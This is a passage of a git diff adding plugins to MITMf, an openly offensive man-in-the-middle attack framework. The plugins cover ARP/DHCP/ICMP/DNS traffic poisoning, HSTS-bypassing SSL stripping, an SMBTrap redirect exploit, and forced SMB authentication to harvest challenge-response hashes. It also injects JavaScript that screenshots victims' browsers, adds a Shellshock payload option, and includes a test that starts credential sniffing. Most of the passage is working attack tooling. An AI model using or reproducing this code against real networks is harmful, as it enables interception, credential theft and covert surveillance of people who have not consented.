ScreenShotter(Inject, Plugin): + name = 'ScreenShotter' + optname = 'screen' + desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' + ver = '0.1' + + def initialize(self, options): + Inject.initialize(self, options) + self.interval = options.interval + self.js_payload = self.get_payload() + + def request(self, request): + if 'saveshot' in request.uri: + request.handle_post_output = True + + client = request.client.getClientIP() + img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + try: + with open('./logs/' + img_file, 'wb') as img: + img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) + + self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) + except Exception as e: + self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo) + + def get_payload(self): + return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) + + def options(self, options): + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") diff --git a/plugins/smbauth.py b/plugins/smbauth.py new file mode 100644 index 0000000..eb67aa8 --- /dev/null +++ b/plugins/smbauth.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin +from plugins.inject import Inject + +class SMBAuth(Inject, Plugin): + name = "SMBAuth" + optname = "smbauth" + desc = "Evoke SMB challenge-response auth attempts" + version = "0.1" + + def initialize(self, options): + self.ip = options.ip + Inject.initialize(self, options) + self.html_payload = self._get_data() + + def _get_data(self): + return ''\ + ''\ + '' % tuple([self.ip]*3) + + def options(self, options): + pass diff --git a/plugins/smbtrap.py b/plugins/smbtrap.py new file mode 100644 index 0000000..8e8ca03 --- /dev/null +++ b/plugins/smbtrap.py @@ -0,0 +1,38 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import random +import string + +from plugins.plugin import Plugin + +class SMBTrap(Plugin): + name = "SMBTrap" + optname = "smbtrap" + desc = "Exploits the SMBTrap vulnerability on connected clients" + version = "1.0" + + def initialize(self, options): + self.ip = options.ip + + def responsestatus(self, request, version, code, message): + return {"request": request, "version": version, "code": 302, "message": "Found"} + + def responseheaders(self, response, request): + self.clientlog.info("Trapping request to {}".format(request.headers['host']), extra=request.clientInfo) + rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8)) + response.responseHeaders.setRawHeaders('Location', ["file://{}/{}".format(self.ip, rand_path)]) diff --git a/plugins/spoof.py b/plugins/spoof.py new file mode 100644 index 0000000..dafe4b1 --- /dev/null +++ b/plugins/spoof.py @@ -0,0 +1,110 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin + +class Spoof(Plugin): + name = "Spoof" + optname = "spoof" + desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" + version = "0.6" + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.protocol_instances = [] + + from core.utils import iptables, shutdown, set_ip_forwarding + #Makes scapy more verbose + debug = False + + if options.arp: + if not options.gateway: + shutdown("[Spoof] --arp argument requires --gateway") + + from core.poisoners.ARP import ARPpoisoner + arp = ARPpoisoner(options) + arp.debug = debug + self.tree_info.append('ARP spoofing enabled') + self.protocol_instances.append(arp) + + elif options.dhcp: + from core.poisoners.DHCP import DHCPpoisoner + + if options.targets: + shutdown("[Spoof] --targets argument invalid when DCHP spoofing") + + dhcp = DHCPpoisoner(options) + dhcp.debug = debug + self.tree_info.append('DHCP spoofing enabled') + self.protocol_instances.append(dhcp) + + elif options.icmp: + from core.poisoners.ICMP import ICMPpoisoner + + if not options.gateway: + shutdown("[Spoof] --icmp argument requires --gateway") + + if not options.targets: + shutdown("[Spoof] --icmp argument requires --targets") + + icmp = ICMPpoisoner(options) + icmp.debug = debug + self.tree_info.append('ICMP spoofing enabled') + self.protocol_instances.append(icmp) + + if options.dns: + self.tree_info.append('DNS spoofing enabled') + if iptables().dns is False and options.filter is None: + iptables().DNS(self.config['MITMf']['DNS']['port']) + + if not options.arp and not options.icmp and not options.dhcp and not options.dns: + shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns") + + set_ip_forwarding(1) + + if iptables().http is False and options.filter is None: + iptables().HTTP(options.listen_port) + + for protocol in self.protocol_instances: + protocol.start() + + def options(self, options): + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--arp', dest='arp', action='store_true', help='Redirect traffic using ARP spoofing') + group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects') + group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers') + options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries') + options.add_argument('--netmask', dest='netmask', type=str, default='255.255.255.0', help='The netmask of the network') + options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') + options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') + options.add_argument('--gatewaymac', dest='gatewaymac', help='Specify the gateway MAC [will auto resolve if ommited]') + options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]') + options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison') + options.add_argument('--arpmode', type=str, dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') + + def on_shutdown(self): + from core.utils import iptables, set_ip_forwarding + + for protocol in self.protocol_instances: + if hasattr(protocol, 'stop'): + protocol.stop() + + iptables().flush() + + set_ip_forwarding(0) diff --git a/plugins/sslstrip+.py b/plugins/sslstrip+.py new file mode 100644 index 0000000..9266040 --- /dev/null +++ b/plugins/sslstrip+.py @@ -0,0 +1,45 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import sys +from plugins.plugin import Plugin + +class SSLstripPlus(Plugin): + name = 'SSLstrip+' + optname = 'hsts' + desc = 'Enables SSLstrip+ for partial HSTS bypass' + version = "0.4" + tree_info = ["SSLstrip+ by Leonardo Nve running"] + + def initialize(self, options): + self.options = options + + from core.sslstrip.URLMonitor import URLMonitor + from core.servers.DNS import DNSChef + from core.utils import iptables + + if iptables().dns is False and options.filter is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) + + URLMonitor.getInstance().setHstsBypass() + DNSChef().setHstsBypass() + + def on_shutdown(self): + from core.utils import iptables + if iptables().dns is True: + iptables().flush() diff --git a/plugins/upsidedownternet.py b/plugins/upsidedownternet.py new file mode 100644 index 0000000..a293dd1 --- /dev/null +++ b/plugins/upsidedownternet.py @@ -0,0 +1,61 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from cStringIO import StringIO +from plugins.plugin import Plugin +from PIL import Image, ImageFile + +class Upsidedownternet(Plugin): + name = "Upsidedownternet" + optname = "upsidedownternet" + desc = 'Flips images 180 degrees' + version = "0.1" + + def initialize(self, options): + self.options = options + + def responseheaders(self, response, request): + '''Kill the image skipping that's in place for speed reasons''' + if request.isImageRequest: + request.isImageRequest = False + request.isImage = True + self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper() + + def response(self, response, request, data): + try: + isImage = getattr(request, 'isImage') + except AttributeError: + isImage = False + + if isImage: + try: + #For some reason more images get parsed using the parser + #rather than a file...PIL still needs some work I guess + p = ImageFile.Parser() + p.feed(data) + im = p.close() + im = im.transpose(Image.ROTATE_180) + output = StringIO() + im.save(output, format=self.imageType) + data = output.getvalue() + output.close() + self.clientlog.info("Flipped image", extra=request.clientInfo) + except Exception as e: + self.clientlog.info("Error: {}".format(e), extra=request.clientInfo) + + return {'response': response, 'request': request, 'data': data} diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..b0dce5a --- /dev/null +++ b/requirements.txt @@ -0,0 +1,26 @@ +git+https://github.com/kti/python-netfilterqueue +pyinotify +pycrypto +pyasn1 +cryptography +Pillow +netaddr +scapy +dnslib +Twisted +lxml +pefile +ipy +user_agents +pyopenssl +service_identity +configobj +Flask +dnspython +beautifulsoup4 +capstone +python-magic +msgpack-python +requests +pypcap +chardet diff --git a/setup.sh b/setup.sh deleted file mode 100755 index 104b15f..0000000 --- a/setup.sh +++ /dev/null @@ -1,12 +0,0 @@ -#!/usr/bin/env bash -if [[ $EUID -ne 0 ]]; then - echo "You must be root" 2>&1 - exit 1 -fi - -apt-get install python-scapy python-dns python-pip msgpack-python python-nfqueue python-imaging -y -apt-get install python-twisted-web python-dnspython python-requests python-configobj python-pefile -y -pip install pyyaml ua-parser user-agents -git submodule init -git submodule update -cd libs/bdfactory/ && ./install.sh diff --git a/tests/basic_tests.py b/tests/basic_tests.py new file mode 100644 index 0000000..155a3d7 --- /dev/null +++ b/tests/basic_tests.py @@ -0,0 +1,57 @@ +import unittest +import threading +import logging + +class BasicTests(unittest.TestCase): + + def test_configfile(self): + from configobj import ConfigObj + config = ConfigObj('config/mitmf.conf') + + def test_logger(self): + from core.logger import logger + logger.log_level = logging.DEBUG + formatter = logging.Formatter("%(asctime)s [unittest] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + log = logger().setup_logger("unittest", formatter) + + def test_DNSChef(self): + from core.logger import logger + logger.log_level = logging.DEBUG + from core.servers.DNS import DNSChef + DNSChef().start() + + def test_NetCreds(self): + from core.logger import logger + logger.log_level = logging.DEBUG + from core.netcreds import NetCreds + NetCreds().start('venet0:0', '172.30.96.18') + + def test_SSLStrip_Proxy(self): + favicon = True + preserve_cache = True + killsessions = True + listen_port = 10000 + + from twisted.web import http + from twisted.internet import reactor + from core.sslstrip.CookieCleaner import CookieCleaner + from core.proxyplugins import ProxyPlugins + from core.sslstrip.StrippingProxy import StrippingProxy + from core.sslstrip.URLMonitor import URLMonitor + + URLMonitor.getInstance().setFaviconSpoofing(favicon) + URLMonitor.getInstance().setCaching(preserve_cache) + CookieCleaner.getInstance().setEnabled(killsessions) + + strippingFactory = http.HTTPFactory(timeout=10) + strippingFactory.protocol = StrippingProxy + + reactor.listenTCP(listen_port, strippingFactory) + + #ProxyPlugins().all_plugins = plugins + t = threading.Thread(name='sslstrip_test', target=reactor.run) + t.setDaemon(True) + t.start() + +if __name__ == '__main__': + unittest.main() \ No newline at end of file diff --git a/tools/cve-details-parser.py b/tools/cve-details-parser.py new file mode 100755 index 0000000..db454b3 --- /dev/null +++ b/tools/cve-details-parser.py @@ -0,0 +1,32 @@ +#! /usr/bin/env python2 + +import requests +import lxml.html +import sys + +r = requests.get(sys.argv[1]) +tree = lxml.html.fromstring(r.text) + +try: + + vulntable = tree.xpath('//table[@id="vulnprodstable"]/*') + list_len = len(vulntable) + + tuple_list = [] + + for i in vulntable[2:list_len]: + java_v = (i.getchildren()[4].text.strip(), i.getchildren()[5].text.strip()[6:].strip()) + tuple_list.append(java_v) + +except IndexError: + pass + +string_list = [] +for v in sorted(set(tuple_list)): + version, update = v + if update: + string_list.append("{}.{}".format(version, update)) + else: + string_list.append(version) + +print ', '.join(string_list) \ No newline at end of file diff --git a/update.sh b/update.sh deleted file mode 100755 index fa51c12..0000000 --- a/update.sh +++ /dev/null @@ -1,12 +0,0 @@ -#!/usr/bin/env bash -if [[ $EUID -ne 0 ]]; then - echo "You must root" 2>&1 - exit 1 -fi - -echo 'Updating MITMf' -git pull -echo 'Updating the-backdoor-factory' -cd libs/bdfactory/ -git pull origin master -./update.sh